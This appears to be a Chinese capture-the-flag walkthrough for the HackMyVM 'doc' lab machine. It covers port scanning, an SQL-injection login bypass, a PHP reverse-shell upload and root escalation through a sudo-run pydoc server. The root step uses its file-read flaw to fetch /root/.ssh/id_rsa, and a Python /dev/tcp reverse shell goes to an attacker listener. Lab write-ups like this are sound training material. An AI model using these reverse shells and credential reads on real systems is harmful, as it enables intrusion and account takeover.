信息搜集
主机扫描
arp-scan -l
端口扫描
┌──(root㉿kali)-[~/doc]
└─# nmap -sV -p- -Pn 192.168.1.102
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-23 05:16 EDT
Nmap scan report for doc.hmv (192.168.1.102)
Host is up (0.00027s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.18.0
80端口
存在一个网站,在源码中发现一个域名:doc.hmv,在hosts文件中添加访问,发现一个登录界面
直接搜索搭建的系统漏洞,发现可以利用sql注入或者万能密码直接进入https://www.exploit-db.com/exploits/50221
利用sql万能密码成功进入网站,于是又在网站内部发现两个上传点,两个都可以上传php文件
生成一个reverse.php上传到网站拿到shell
获取shell
上传后,复制图片链接,监听访问,直接拿到shell
拿到shell后先看html目录下有无可疑文件,之后在home目录下看有无其他用户,结果在home目录下发现一个bella用户,发现user.txt,但需要登录读取,于是寻找bella用户密码
在initialize.php中找到密码,登录成功读取flag
bella@doc:~$ cat user.txt
cat user.txt
HMVtakemydocs
提权
拿到shell后,按照老步骤,试试提权
- sudo -l
bella@doc:~$ sudo -l
sudo -l
Matching Defaults entries for bella on doc:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User bella may run the following commands on doc:
(ALL : ALL) NOPASSWD: /usr/bin/doc
发现一个可利用命令,查看发现是二进制文件,于是利用strings查看内容
发现好像是利用python在7890端口起了一个服务,我们运行一下尝试访问
sudo /usr/bin/doc
ss -lntup
于是我们尝试访问这个端口,但无法访问,于是我们将这个端口镜像到我们闲置的端口上,尝试访问,利用socat
socat TCP-LISTEN:8088,fork TCP4:127.0.0.1:7890 &
通过这种方式,我们成功访问这个网站
接着就有两种提权方案了
第一种 利用pydoc本身存在的文件读取漏洞,从而读取root的用户凭证问题 42988:[安全性] CVE-2021-3426:通过 pydoc -p 泄露信息:/getfile?key=path 允许读取文件系统上的任意文件 – Python 跟踪器
http://ip/getfile?key=/root/.ssh/id_rsa
利用凭证,也可以拿到root权限
chmod +x id_rsa
ssh -i id_rsa root@127.0.0.1
第二种 因为我们发现再/bella目录下开启服务后,这个网站可以看到这个目录下的py文件,于是我们可以利用reverse.py来反弹shell,因为doc是root权限,反弹后的权限就是root权限
python脚本:
import os
os.system("bash -c 'bash -i >& /dev/tcp/kali ip/7777 0>&1'")
kali: nc -lnvp 7777
随即我们点击/bella下的reverse文件,成功反弹shell
知识点
- sql的万能密码的使用以及文件上传反弹shell
- 利用socat转换端口(socat:Linux/Unix下的TCP端口转发器 | 小菜学网络 (fasionchan.com))